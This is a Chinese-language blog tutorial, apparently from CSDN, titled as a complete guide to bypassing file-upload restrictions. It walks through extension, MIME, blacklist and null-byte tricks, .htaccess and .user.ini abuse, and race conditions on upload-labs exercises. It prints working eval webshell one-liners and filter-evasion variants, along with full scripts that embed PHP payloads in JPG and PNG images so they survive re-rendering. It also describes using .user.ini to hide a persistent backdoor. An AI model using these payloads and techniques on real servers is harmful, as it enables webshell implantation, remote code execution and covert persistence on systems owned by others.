文件上传绕过大全

文件上传绕过

一、客户端检测绕过

看到允许上传的文件后缀为:jpg/png/gif这三种

若想上传一个php文件,直接将该文件的后缀改为以上三种中之一,就可以成功上传。

但如果想直接上传.php的文件是不行的。如何绕过呢?

方法一:在浏览器中安装插件,删除页面中的js过滤代码。

方法二:burp ruite进行抓包并修改文件的后缀名。

首先先将该文件名的后缀改为jpg ,使用抓包软件burp ruite进行抓包

然后:将抓到的包的文件名后缀改为php,并进行放包,这样文件就上传成功了

二、content-type(服务端检测–MIME 类型)

服务器端将会对content-type类型进行检查,如果content-type为其许可的类型,文件可上传成功

在HTTP 协议中,使用Content-Type 字段表示文件的MIME 类型。当我们上传文件的时候,抓到HTTP 数据包常见的媒体格式如下:

解决办法:

首先准备一个php文件,打开burp suite代理,将php文件上传,使用burp suite软件进行抓包,因为上传的是php文件,因此content-type的类型不是服务器认可的类型,那么我们就可以使用burpsuite进行修改content-type类型为image/png,并将该文件进行上传,就可以上传成功了

三、黑名单过滤

1.文件名大小写绕过(仅windows),如:*.pHp  *.aSP

2.文件名双写绕过,如:*.pphphp

3.Unicode: 当目标存在json_decode且检查在json_decode之前,可以将php写为\u0070hp

4.等价扩展名绕过,如:*.php2  *.asa  *.cer  *.pht

5.特殊文件名绕过,比如windows文件名最后不能有.或空格,可设为*.php.或*.php+

6.0x00截断绕过,比如:*.php(0x00).jpg 或 *.php%00.jpg

上传.htaccess文件(Apache)

作用范围:当前目及其子目录httpd-conf 是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess 也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用。在绕过文件上传的限制中,通常在 Apache 全局配置文件 httpd.conf 中有这样一条配置:

AddType application/x-httpd-php .php .phtml

AddType application/x-httpd-php .png

# .png后缀文件当做php进行处理

SetHandler application/x-httpd-php

这条配置的意思就是将.php、.phtml 文件后缀的文件当做 php 文件执行,如果开启了这条配置,就可以上传.phtml 文件在执行 php 代码,这也就是为什么在文件上传时可以尝试上传.phtml,不过在高版本中这条配置默认是关闭的,也就是只能解析.php 文件后缀。或者这条配置:

SetHandler application/x-httpd-php

将所有文件都解析为 php 文件。通常全局文件我们都是不可更改的,而 Apache 还有一个局部配置文件.htaccess,这个配置文件只对该目录所在的 web 目录起作用,例如:我们在 www 目录下有一个.htaccess 配置文件,配置内容为 AddType application/x-httpd-php .jpg ,将 jpg 文件当做 PHP 文件解析。这样就可以直接解析 jpg 后缀的 webshell。​

// .htaccess

AddType application/x-httpd-php .jpg


// 1.jpg

<?php phpinfo();?>

访问 1.jpg,当做 PHP 解析。

局限:htaccess 配置文件只在 Apache 服务器中起作用。

上传.user.ini文件(nginx)

php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。可以从官网查看:http://php.net/manual/zh/ini.list.php这几种模式有什么区别

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。然后我们看到php.ini中的配置项,可惜只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

php配置项中有两个比较有意思的项(下图第一、四个):

auto_append_file、auto_prepend_file,意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:​

auto_prepend_file=/etc/passwd

auto_prepend_file = <filename> //包含在文件头

auto_append_file = <filename> //包含在文件尾

当前目录下存在php文件,访问php文件,自动加载对应文件。

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

.user.ini实战利用的可能性

综上所述.user.ini的利用条件如下:

服务器脚本语言为PHP

服务器使用CGI/FastCGI模式

上传目录下要有可执行的php文件

从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS对上传时的路径没有检测../,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini除此之外,把.user.ini利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini和我们的图片马,这样就达到了隐藏后门的目的。

9.空格绕过(仅Windows)

利用bp抓包,在文件扩展名后加空格即可

10.点号绕过(仅Windows)

扩展名后加点,如图

11.::$DATA绕过限制(仅Windows)

Windows系统在保存info.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为info.php。

12.空格+点号绕过

四、白名单过滤

1.文件包含图片马

所谓的图片马,就是在图片中插入一句话木马来达到绕过检测后缀文件WAF的目的。通常图片马都是配合文件包含去用的。图片马制作命令:

copy

1.jpg/b+1.php/a

2.jpg 

2.GET型00截断(仅Windows)

windows系统识别到文件名中00的时候将不再向后识别

仅适用于php版本小于5.3.4,php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off

3.POST型00截断

在upload12.php文件后添加00

五、二次渲染绕过

什么是二次渲染?

是指网站对用户上传的图片再次压缩、裁剪等渲染操作(如PHP中的imagecreatefromjpeg()等函数)。所以普通的图片马都难逃被渲染的悲剧。

绕过方法:

GIF:渲染前后的两张GIF,没有发生变化的数据块部分直接插入 Webshell 即可。

PNG:PNG 没有GIF那么简单,需要将数据写入到 PLTE 数据块或者IDAT数据块。

JPG:JPG需要用脚本将数据插入到特定的数据块,而且可能会不成功,需要多次尝试。

4.1gif图片码二次渲染绕过

首先我们需要准备一个后缀名为.gif的木马图片。

C:\Users\admin\Desktop\文件上传>copy aa.gif/b+shell.php/a shell.gif

上传制作的图片码后,使用010 Editor对上传前(未进行二次渲染)和上传后(二次渲染)的图片进行比较,发现二次渲染后的图片文件中的木马代码被删除。

将php代码隐藏在二次渲染不会改变的部分。

将隐藏好Php代码的图片进行上传,发现该区间没有被改变,因此,图片马上传成功。

使用Include.php包含漏洞的原理进行图片马解析,结果如下所示:

4.2jpg图片码二次渲染绕过

由于jpg图片易损,对图片的选取有很大关系,很容易制作失败。采用国外大牛编写的脚本jpg_payload.php。

<?php

    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script

    2) Save the processed image and launch:

    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:

    1) After the second processing the injected data may become partially corrupted.

    2) The jpg_payload.php script outputs "Something's wrong".

    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:

    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?php phpinfo();?>";   //可以在此更改payload

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');

    }

    if(!isset($argv[1])) {

        die('php jpg_payload.php <jpg_name.jpg>');

    }

    set_error_handler("custom_error_handler");


    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');

        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;

            $dis->skip($size);

            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp =

                    substr($outStream, 0, $startPos) .

                    $miniPayload .

                    str_repeat("\0",$nullbytePayloadSize) .

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {

                                break;

                            }

                        }

                    }

                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream =

                        substr($outStream, 0, $startPos) .

                        $miniPayload .

                        substr(

                            str_repeat("\0",$nullbytePayloadSize).

                                substr($outStream, $startPos, $imageStreamSize),

                            0,

                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {

                    break;

                }

                if(checkImage('payload_'.$argv[1], $outStream)) {

                    die('Success!');

                } else {

                    break;

                }

            }

        }

    }

    unlink('payload_'.$argv[1]);

    die('Something\'s wrong');


    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;

        imagecreatefromjpeg($filename);

        if($unlink)

            unlink($filename);

        return $correctImage;

    }


    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];

            }

        }

    }

    class DataInputStream {

        private $binData;

        private $order;

        private $size;


        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;

            }

            $this->size = strlen($this->binData);

        }


        public function seek() {

            return ($this->size - strlen($this->binData));

        }


        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);

        }


        public function readByte() {

            if($this->eof()) {

                die('End Of File');

            }

            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);

        }


        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');

            }

            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);

            }

            return $short;

        }


        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);

        }

    }

?>

选择一张jpg图片,先上传至服务器然后再下载到本地保存为1.jpg,执行命令“php jpg_payload.php 1.jpg”后会将木码代码插入到图片并生成一张名为payload_1.jpg的图片。

将生成后带有木码的图片进行上传,然后结合文件包含漏洞对图片码进行解析,结果如下所示:

4.3png图片码二次渲染绕过

使用国外大牛写的代码直接生成png图片:

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);


for ($y = 0; $y < sizeof($p); $y += 3) {

   $r = $p[$y];

   $g = $p[$y+1];

   $b = $p[$y+2];

   $color = imagecolorallocate($img, $r, $g, $b);

   imagesetpixel($img, round($y / 3), 0, $color);

}


imagepng($img,'./1.png');

?>

执行php pngshell.php命令,会自动生成一个1.png的木马图片。

将图片进行上传,然后结合包含漏洞进行利用,结果如下所示:

六、文件内容过滤

6.1 标签被过滤

用php其他标签绕过

    <?php @eval($_POST['cmd']); ?>            //正常写法

<?=@eval($_POST['cmd']); ?>              //短标签,适合过滤php

<?=`cat /flag`?>   //短标签,``中间直接使用系统命令

    <% @eval($_POST['cmd']); %>               //asp风格

    <script language='php'>@eval($_POST['cmd']);</script>      //<script>风格,适合过滤<?

6.2 执行函数被过滤

6.2.1 大小写绕过

evAl  sYStem...

6.2.2 使用其它函数

常见的执行 php 代码的函数(phpinfo(); php 函数)

assert(system("ls"););

eval()  $_GET[cmd]($_GET[a])

assert()

preg_replace()  # 正则表达式 /e

call_user_func()

call_user_func_array()

create_function

array_map()

常见的执行系统命令的行数(ls 系统命令)

system()

passthru()

exec()

fcntl_exec()

shell_exec()

popen()

ob_start()

2.3拼接绕过

<?php $a="ass";$b="ert";$c=$a.$b;$c($_POST[cmd]);?> 拼接,特定函数可以使用

6.3 文件头检测绕过

添加GIF89a进行绕过

也可以通过修改16进制绕过

七、条件竞争

什么是条件竞争漏洞?

条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

7.1 时间竞争(upload.pass17)

代码如下:

$is_upload = false;

$msg = null;


if(isset($_POST['submit'])){

    $ext_arr = array('jpg','png','gif');

    $file_name = $_FILES['upload_file']['name'];

    $temp_file = $_FILES['upload_file']['tmp_name'];

    $file_ext = substr($file_name,strrpos($file_name,".")+1);

    $upload_file = UPLOAD_PATH . '/' . $file_name;


    if(move_uploaded_file($temp_file, $upload_file)){

        if(in_array($file_ext,$ext_arr)){

             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

             rename($upload_file, $img_path);

             $is_upload = true;

        }else{

            $msg = "只允许上传.jpg|.png|.gif类型文件!";

            unlink($upload_file);

        }

    }else{

        $msg = '上传出错!';

    }

}

先通过move_uploaded_file把文件保存,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过。

我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址。这时候就会造成条件竞争。实验步骤如下:

(1)首先写一个1.php文件,代码如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>

(2)然后上传1.php文件,并使用BurpSuite抓包,我使用测试器不断发送上传数据包。

(3)如果文件上传成功,那么我们访问上传文件的地址是:http://127.0.0.1/upload/upload/1.php,当我们访问1.php文件成功时就会在上传目录生成shell.php的文件。为了能访问成功,所以我们得发送大量的访问数据包。

(4)最后,使用BurpSuite同时发送上传和访问数据包,如果1.php文件访问成功,shell.php文件就会被写入。

(5)最后使用蚁剑进行连接getshell。

7.2 重命名竞争(upload.pass18)

代码如下:

//index.php

$is_upload = false;

$msg = null;

if (isset($_POST['submit']))

{

    require_once("./myupload.php");

    $imgFileName =time();

    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);

    $status_code = $u->upload(UPLOAD_PATH);

    switch ($status_code) {

        case 1:

            $is_upload = true;

            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;

            break;

        case 2:

            $msg = '文件已经被上传,但没有重命名。';

            break;

        case -1:

            $msg = '这个文件不能上传到服务器的临时文件存储目录。';

            break;

        case -2:

            $msg = '上传失败,上传目录不可写。';

            break;

        case -3:

            $msg = '上传失败,无法上传该类型文件。';

            break;

        case -4:

            $msg = '上传失败,上传的文件过大。';

            break;

        case -5:

            $msg = '上传失败,服务器已经存在相同名称文件。';

            break;

        case -6:

            $msg = '文件无法上传,文件不能复制到目标目录。';

            break;      

        default:

            $msg = '未知错误!';

            break;

    }

}


//myupload.php

class MyUpload{

......

......

......

  var $cls_arr_ext_accepted = array(

      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",

      ".html", ".xml", ".tiff", ".jpeg", ".png" );


......

......

......  

  /** upload()

   **

   ** Method to upload the file.

   ** This is the only method to call outside the class.

   ** @para String name of directory we upload to

   ** @returns void

  **/

  function upload( $dir ){   

    $ret = $this->isUploadedFile();  

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->setDir( $dir );

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->checkExtension();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );

    }

    $ret = $this->checkSize();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );    

    }

    // if flag to check if the file exists is set to 1

    if( $this->cls_file_exists == 1 ){

      $ret = $this->checkFileExists();

      if( $ret != 1 ){

        return $this->resultUpload( $ret );    

      }

    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();

    if( $ret != 1 ){

      return $this->resultUpload( $ret );    

    }

    // check if we need to rename the file


    if( $this->cls_rename_file == 1 ){

      $ret = $this->renameFile();

      if( $ret != 1 ){

        return $this->resultUpload( $ret );    

      }

    }

    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

  }

......

......

......

};

从源代码来看,白名单过滤如下:

老版本的Apache默认会将后缀名为.7z的文件当成php文件进行解析,我们就上传.7z的文件然后利用包含漏洞对.7z的木马文件进行解析,操作如下:

通过以上实验发现上传的文件保存在upload同级目录下,而不是子目录,并且被重命名了。源代码如下所示:

上传保存地址为空,也就是会将上传的文件保存和upload同级目录下,而不是子目录。

最后上传的文件名会被改名。

通过代码分析发现该php代码会先对文件类型进行匹配,先检查文件类型,如果文件类型匹配成功之后,就会将该文件进行移动,并且移动到和upload的同级目录下面,然后再对该文件进行重命名。

这时我们要利用上传重命名的竞争性,我们已经知道文件上传之后是先保存后再重命名,改名是需要时间的,那么我们就使用Burp不断上传shell.7z的文件,如果服务器的代码性能不好,不能及时处理相关的请求,那么就有可能上传成功且不会被重命名。操作如下:

使用BurpSuite抓包,并将数据包发送给测试器,并不断发包。

最后文件被写入,其中包含了没有被重命名的文件。

利用文件包含漏洞对上传文件进行解析。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值